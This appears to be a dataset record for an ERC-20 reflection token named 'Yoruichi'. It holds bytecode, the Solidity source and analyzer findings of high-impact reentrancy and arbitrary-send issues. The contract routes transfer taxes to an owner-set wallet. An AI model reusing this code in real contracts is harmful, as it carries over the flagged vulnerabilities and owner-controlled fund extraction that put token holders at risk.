602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205c3e82f597f239ee61210b90d44089c986c07448743c0141f6ae245bbb26a81264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,307 |
0xD11AE5945AaDFdd39572782f6D45dc75B93F31f6
|
// SPDX-License-Identifier: MIT
// Telegram: t.me/YoruichiToken
pragma solidity ^0.8.4;
uint256 constant TOTAL_SUPPLY = 100000000;
string constant TOKEN_NAME = "Yoruichi";
string constant TOKEN_SYMBOL = "YORUICHI";
uint256 constant INITIAL_TAX=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Yoruichi is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _rateLimit=TOTAL_SUPPLY;
uint256 private _tax=INITIAL_TAX;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router= IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_taxWallet=payable(_msgSender());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function tax() public view returns (uint256){
return _tax;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
_swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function _sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
_sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTransferAmounts(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getReceiveAmounts(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTransferAmounts(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(2).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getReceiveAmounts(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102df578063c9567bf91461031c578063dd62ed3e14610333578063f429389014610370576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b411461028957806399c8d556146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610387565b60405161011a9190612181565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611d71565b6103c4565b6040516101579190612166565b60405180910390f35b34801561016c57600080fd5b506101756103e2565b60405161018291906122e3565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611d1e565b6103ec565b6040516101bf9190612166565b60405180910390f35b3480156101d457600080fd5b506101dd6104c5565b6040516101ea9190612358565b60405180910390f35b3480156101ff57600080fd5b506102086104ca565b005b34801561021657600080fd5b50610231600480360381019061022c9190611c84565b610544565b60405161023e91906122e3565b60405180910390f35b34801561025357600080fd5b5061025c610595565b005b34801561026a57600080fd5b506102736106e8565b6040516102809190612098565b60405180910390f35b34801561029557600080fd5b5061029e610711565b6040516102ab9190612181565b60405180910390f35b3480156102c057600080fd5b506102c961074e565b6040516102d691906122e3565b60405180910390f35b3480156102eb57600080fd5b5061030660048036038101906103019190611d71565b610758565b6040516103139190612166565b60405180910390f35b34801561032857600080fd5b50610331610776565b005b34801561033f57600080fd5b5061035a60048036038101906103559190611cde565b610c8a565b60405161036791906122e3565b60405180910390f35b34801561037c57600080fd5b50610385610d11565b005b60606040518060400160405280600881526020017f596f727569636869000000000000000000000000000000000000000000000000815250905090565b60006103d86103d1610d83565b8484610d8b565b6001905092915050565b6000600354905090565b60006103f9848484610f56565b6104ba84610405610d83565b6104b58560405180606001604052806028815260200161293360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046b610d83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b89092919063ffffffff16565b610d8b565b600190509392505050565b600090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661050b610d83565b73ffffffffffffffffffffffffffffffffffffffff161461052b57600080fd5b600061053630610544565b90506105418161121c565b50565b600061058e600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a4565b9050919050565b61059d610d83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062190612263565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f594f525549434849000000000000000000000000000000000000000000000000815250905090565b6000600754905090565b600061076c610765610d83565b8484610f56565b6001905092915050565b61077e610d83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080290612263565b60405180910390fd5b600a60149054906101000a900460ff161561085b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085290612203565b60405180910390fd5b61088a30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610d8b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f257600080fd5b505afa158015610906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a9190611cb1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ae57600080fd5b505afa1580156109c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e69190611cb1565b6040518363ffffffff1660e01b8152600401610a039291906120b3565b602060405180830381600087803b158015610a1d57600080fd5b505af1158015610a31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a559190611cb1565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ade30610544565b600080610ae96106e8565b426040518863ffffffff1660e01b8152600401610b0b96959493929190612105565b6060604051808303818588803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b5d9190611dde565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c359291906120dc565b602060405180830381600087803b158015610c4f57600080fd5b505af1158015610c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c879190611db1565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d52610d83565b73ffffffffffffffffffffffffffffffffffffffff1614610d7257600080fd5b6000479050610d8081611512565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df2906122c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e62906121e3565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f4991906122e3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd906122a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d906121a3565b60405180910390fd5b60008111611079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107090612283565b60405180910390fd5b6110816106e8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110ef57506110bf6106e8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111a857600a60159054906101000a900460ff1615801561115f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111775750600a60169054906101000a900460ff165b156111a75761118d61118830610544565b61121c565b600047905060008111156111a5576111a447611512565b5b505b5b6111b383838361157e565b505050565b6000838311158290611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f79190612181565b60405180910390fd5b506000838561120f91906124a9565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561125457611253612604565b5b6040519080825280602002602001820160405280156112825781602001602082028036833780820191505090505b509050308160008151811061129a576112996125d5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561133c57600080fd5b505afa158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190611cb1565b81600181518110611388576113876125d5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506113ef30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d8b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114539594939291906122fe565b600060405180830381600087803b15801561146d57600080fd5b505af1158015611481573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b60006004548211156114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e2906121c3565b60405180910390fd5b60006114f561158e565b905061150a81846115b990919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561157a573d6000803e3d6000fd5b5050565b611589838383611603565b505050565b600080600061159b6117ce565b915091506115b281836115b990919063ffffffff16565b9250505090565b60006115fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061181b565b905092915050565b6000806000806000806116158761187e565b95509550955095509550955061167386600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e390919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170885600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192d90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117548161198b565b61175e8483611a48565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117bb91906122e3565b60405180910390a3505050505050505050565b60008060006004549050600060035490506117f66003546004546115b990919063ffffffff16565b82101561180e57600454600354935093505050611817565b81819350935050505b9091565b60008083118290611862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118599190612181565b60405180910390fd5b5060008385611871919061241e565b9050809150509392505050565b60008060008060008060008060006118988a600754611a82565b92509250925060006118a861158e565b905060008060006118bb8e878787611b17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061192583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b905092915050565b600080828461193c91906123c8565b905083811015611981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197890612223565b60405180910390fd5b8091505092915050565b600061199561158e565b905060006119ac8284611ba090919063ffffffff16565b9050611a0081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192d90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611a5d826004546118e390919063ffffffff16565b600481905550611a788160055461192d90919063ffffffff16565b6005819055505050565b600080600080611aaf6064611aa1600289611ba090919063ffffffff16565b6115b990919063ffffffff16565b90506000611ad96064611acb888a611ba090919063ffffffff16565b6115b990919063ffffffff16565b90506000611b0282611af4858b6118e390919063ffffffff16565b6118e390919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611b308589611ba090919063ffffffff16565b90506000611b478689611ba090919063ffffffff16565b90506000611b5e8789611ba090919063ffffffff16565b90506000611b8782611b7985876118e390919063ffffffff16565b6118e390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611bb35760009050611c15565b60008284611bc1919061244f565b9050828482611bd0919061241e565b14611c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0790612243565b60405180910390fd5b809150505b92915050565b600081359050611c2a816128ed565b92915050565b600081519050611c3f816128ed565b92915050565b600081519050611c5481612904565b92915050565b600081359050611c698161291b565b92915050565b600081519050611c7e8161291b565b92915050565b600060208284031215611c9a57611c99612633565b5b6000611ca884828501611c1b565b91505092915050565b600060208284031215611cc757611cc6612633565b5b6000611cd584828501611c30565b91505092915050565b60008060408385031215611cf557611cf4612633565b5b6000611d0385828601611c1b565b9250506020611d1485828601611c1b565b9150509250929050565b600080600060608486031215611d3757611d36612633565b5b6000611d4586828701611c1b565b9350506020611d5686828701611c1b565b9250506040611d6786828701611c5a565b9150509250925092565b60008060408385031215611d8857611d87612633565b5b6000611d9685828601611c1b565b9250506020611da785828601611c5a565b9150509250929050565b600060208284031215611dc757611dc6612633565b5b6000611dd584828501611c45565b91505092915050565b600080600060608486031215611df757611df6612633565b5b6000611e0586828701611c6f565b9350506020611e1686828701611c6f565b9250506040611e2786828701611c6f565b9150509250925092565b6000611e3d8383611e49565b60208301905092915050565b611e52816124dd565b82525050565b611e61816124dd565b82525050565b6000611e7282612383565b611e7c81856123a6565b9350611e8783612373565b8060005b83811015611eb8578151611e9f8882611e31565b9750611eaa83612399565b925050600181019050611e8b565b5085935050505092915050565b611ece816124ef565b82525050565b611edd81612532565b82525050565b6000611eee8261238e565b611ef881856123b7565b9350611f08818560208601612544565b611f1181612638565b840191505092915050565b6000611f296023836123b7565b9150611f3482612649565b604082019050919050565b6000611f4c602a836123b7565b9150611f5782612698565b604082019050919050565b6000611f6f6022836123b7565b9150611f7a826126e7565b604082019050919050565b6000611f926017836123b7565b9150611f9d82612736565b602082019050919050565b6000611fb5601b836123b7565b9150611fc08261275f565b602082019050919050565b6000611fd86021836123b7565b9150611fe382612788565b604082019050919050565b6000611ffb6020836123b7565b9150612006826127d7565b602082019050919050565b600061201e6029836123b7565b915061202982612800565b604082019050919050565b60006120416025836123b7565b915061204c8261284f565b604082019050919050565b60006120646024836123b7565b915061206f8261289e565b604082019050919050565b6120838161251b565b82525050565b61209281612525565b82525050565b60006020820190506120ad6000830184611e58565b92915050565b60006040820190506120c86000830185611e58565b6120d56020830184611e58565b9392505050565b60006040820190506120f16000830185611e58565b6120fe602083018461207a565b9392505050565b600060c08201905061211a6000830189611e58565b612127602083018861207a565b6121346040830187611ed4565b6121416060830186611ed4565b61214e6080830185611e58565b